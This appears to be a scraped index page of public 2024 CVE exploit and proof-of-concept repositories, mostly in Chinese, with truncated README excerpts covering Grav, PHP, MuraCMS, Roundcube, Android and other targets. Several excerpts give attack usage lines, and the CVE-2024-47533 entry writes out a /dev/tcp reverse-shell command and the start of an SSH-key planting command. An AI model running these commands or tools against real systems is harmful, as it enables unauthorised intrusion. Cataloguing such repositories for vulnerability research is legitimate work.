ROOT-APP-MAVEN-CVE-2024-22243 CVE-2024-22243 in org.springframework:spring-web - Patched by Root

Root has patched CVE-2024-22243 in the org.springframework:spring-web package for Root:Maven. Multiple fixed versions available...

writeup-CVE-2024-3094

CVE-2024-3094 分析...

GenGravSSTIExploit

英文 GenGravSSTIExploit 是一个 PoC Python 脚本，利用 Grav CMS 版本 -p ：目标 URL，格式为 https://hostname。 ：端口号（默认为 80）。 示例： python GenGravSSTIExploit.py -t http://example.com -p 8080 4. 与 Exploit 交互 如果利用成功，你会获得一个可以执行操作系统命令的 URL： + RCE payload injected. Visit the malicious page: http://example.com:8080/poc?do= 示例输出...

cve-2024-0582

CVE-2024-0582 的 PoC 在学习 iouring 接口的过程中，我决定为 CVE-2024-0582 创建一个 PoC。所有这些工作都直接来源于 CVE 信息、补丁以及一些与 iouring 相关的其他分析文章——尤其是 Chompie 关于 CVE-2021-41073 的分析文章。...

CVE-2024-32002-git-rce

此存储库没有 README。...

CVE-2024-4577

CVE-2024-4577 PHP中的参数注入漏洞 安装 git clone https://github.com/gotr00t0day/CVE-2024-4577.git cd CVE-2024-4577 pip3 install -r requirements.txt 使用方法 扫描单个目标 python3 CVE-2024-4577.py -t https://160.153.61.66/ -c "" 扫描目标列表 python3 CVE-2024-4577.py -f domains.txt -c ""...

CVE-2024-31320-

CVE-2024-31320- Obtener geolocalización del dispositivo explotado usando CVE-2024-31320& bluetooth...

CVE-2024-47051

此存储库没有 README。...

CVE-2024-47176-Scanner

CVE-2024-47176 扫描器 Evilsocket 针对 CVE-2024-47176 的 PoC，经过精简后改成了一个扫描器。我真的只是在 vim 中打开它，然后一直按住 d 键。 阅读他的研究：这里。这个脚本只是向 631 端口发送初始 UDP 数据包，并触发一个 HTTP 回调，表示目标主机存在漏洞。 用法： clone the repo git clone https://github.com/tonyarris/CVE-2024-47176-Scanner && cd CVE-2024-47176-Scanner/ set up a virtualenv python3...

securenvoy-cve-2024-37393

securenvoy-cve-2024-37393 负责任披露 针对CVE-2024-37393（SecurEnvoy MFA 9.4.513）的漏洞检查脚本。 用于检查LDAP注入的概念验证代码。 修复 漏洞已在SecurEnvoy MFA = 9.4.514中修复。 链接 https://www.optistream.io/blogs/tech/securenvoy-cve-2024-37393 作者 https://optistream.io...

CVE-2024-32640-SQLI-MuraCMS

Muraider - 自动检测与利用 CVE-2024-32640 \ Mura/Masa CMS 中的 SQL 注入 使用方法 检测： python3 CVE-2024-32640.py --url https://target.com/ Ghauri 利用（传递 '-g' 或 '--ghauri' 作为参数）： 传入任何你想要与 Ghauri 一起使用的参数，遵循其参数列表： python3 CVE-2024-32640.py --url https://target.com -g "--dbs --current-db" python3 CVE-2024-32640.py --ur...

CVE-2024-23346

/bin/python3.11 exploit.py -t -u -p -l...

Exploit-PoC-para-CVE-2024-30085

🚨 Exploit PoC para CVE-2024-30085 Proof of Concept exploit para la vulnerabilidad de elevación de privilegios CVE-2024-30085. Sólo para propósitos educativos y de investigación en seguridad. ⚠️ Advertencia Legal USO EXCLUSIVAMENTE EDUCATIVO ✅ Investigación de seguridad autorizada ✅ Laboratorios...

CVE-2024-37383-exploit

漏洞标题： Roundcube 邮件服务器 CVE-2024-37383 漏洞利用（存储型 XSS） Google Dork： 漏洞作者：AmirZargham 厂商主页： Roundcube - 免费开源 Webmail 软件 软件链接： Releases · roundcube/roundcubemail 版本：Roundcube 客户端版本低于 1.5.6，或为 1.6 至 1.6.6。 测试环境：Firefox、Chrome CVE：CVE-2024-37383 CWE：CWE-79 平台：多平台 类型：Web 应用 描述： CVE-2024-37383 漏洞存在于...

CVE-2024-47533

反向 Shell python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'bash -c "bash -i & /dev/tcp/10.10.14.23/4444 0&1"' 简单命令 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'id' 写入 SSH 密钥 python3 CVE-2024-47533.py --url http://127.0.0.1:25151 --cmd 'mkdir -p /root/.ssh && echo...

CVE-2024-38475_SonicBoom_Apache_URL_Traversal_PoC

CVE-2024-38475SonicBoomApacheURLTraversalPoC 作者：abrewer251 一个用于测试 CVE-2024-38475（“SonicBoom”）Apache URL 遍历漏洞的概念验证工具。该脚本自动化 TLS 协商、目录扫描、遍历验证和载荷模糊测试，以识别未授权文件访问。 描述 该仓库包含一个 Python 脚本（poc.py），其功能如下： 1. 与目标协商最高支持的 TLS/SSL 协议。 2. 验证通用目录遍历行为。 3. 使用目录字典扫描受 403 保护的目录。 4. 逐目录确认遍历漏洞。 5...

CVE-2024-32002

执行中的 PoC...

CVE-2024-1651-PoC

CVE-2024-1651 此CVE由Fluid Attack Offensive Team的Carlos Bello发现。该发现讨论了利用不安全的对象反序列化实现远程代码执行（RCE）。这里，我创建了一个更快且更易使用的概念验证（PoC）。因此，任何人若想复现该发现，均可将其作为参考示例。 预览...

CVE-2024-31317-Deployer

CVE-2024-31317 Deployer 🔒 安全研究声明 本项目仅用于安全研究和教育目的。使用本工具进行未经授权的测试是非法的。作者不对任何滥用或损害负责。 📋 概述 CVE-2024-31317 是一个影响 Android 9 至 Android 13 设备的严重安全漏洞，允许具有 WRITESECURESETTINGS 权限的应用程序通过命令注入获得系统级权限执行。 本项目提供了该漏洞的详细技术分析、概念验证代码以及自动化部署工具。 ✨ 主要特性 📱 支持 Android 9-13 全版本 🛠️ 自动化部署脚本 🔄 反向 Shell 连接 📊 详细的技术文档 🎯 模块化设计 🐛...

CVE-2024-5522

英文 一个用于WordPress网站CVE-2024-5522漏洞的PoC利用扫描器。该工具通过扫描目标URL列表并尝试特定载荷来判断目标站点是否存在该漏洞。 功能特性 自动漏洞扫描 ：扫描目标URL是否存在CVE-2024-5522漏洞。 自定义载荷支持 ：使用文件中的载荷进行漏洞检测。 安装 1. 克隆仓库： git clone https://github.com/geniuszly/CVE-2024-5522 2. 进入目录： cd CVE-2024-5522 3. 安装所需的Python包： pip install -r requirements.txt 使用方法 1...